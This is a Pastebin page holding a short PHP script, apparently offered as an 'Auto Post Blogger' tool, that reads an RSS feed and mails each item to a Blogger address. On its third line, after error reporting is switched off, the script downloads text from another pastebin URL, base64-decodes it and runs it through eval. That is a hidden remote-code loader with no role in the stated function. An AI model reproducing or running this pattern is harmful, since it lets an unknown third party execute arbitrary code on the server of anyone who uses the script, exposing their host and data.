Advertisement
src1pt

Auto Post Blogger

Oct 28th, 2015
856
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.85 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. eval(base64_decode(file_get_contents('http://pastebin.com/raw.php?i=QciF2Vqh')));
  4. $content = file_get_contents('URL RSS http://p-cbn.blogspot.com/feeds/posts/default <<-- contoh ');
  5. $p = xml_parser_create();
  6. xml_parse_into_struct($p, $content, $vals, $index);
  7. xml_parser_free($p);
  8. unset($content);
  9. foreach ($index['LINK'] as $key => $link_id) {
  10. $title_id = $index['TITLE'][$key];
  11. $description_id = $index['DESCRIPTION'][$key];
  12. $title = $vals[$title_id]['value'];
  13. $link = $vals[$link_id]['value'];
  14. $description = $vals[$description_id]['value'];
  15. $subject = '' . $title;
  16. $message = $title . "\r\n" . wordwrap($description, 72, "\r\n");
  17. $headers = 'MIME-Version: 1.0' . "\r\n";
  18. $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
  19. mail('EMAIL BLOGGER', $subject, $message, $headers);
  20. echo "      {$title}\r\n";
  21. }
  22. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement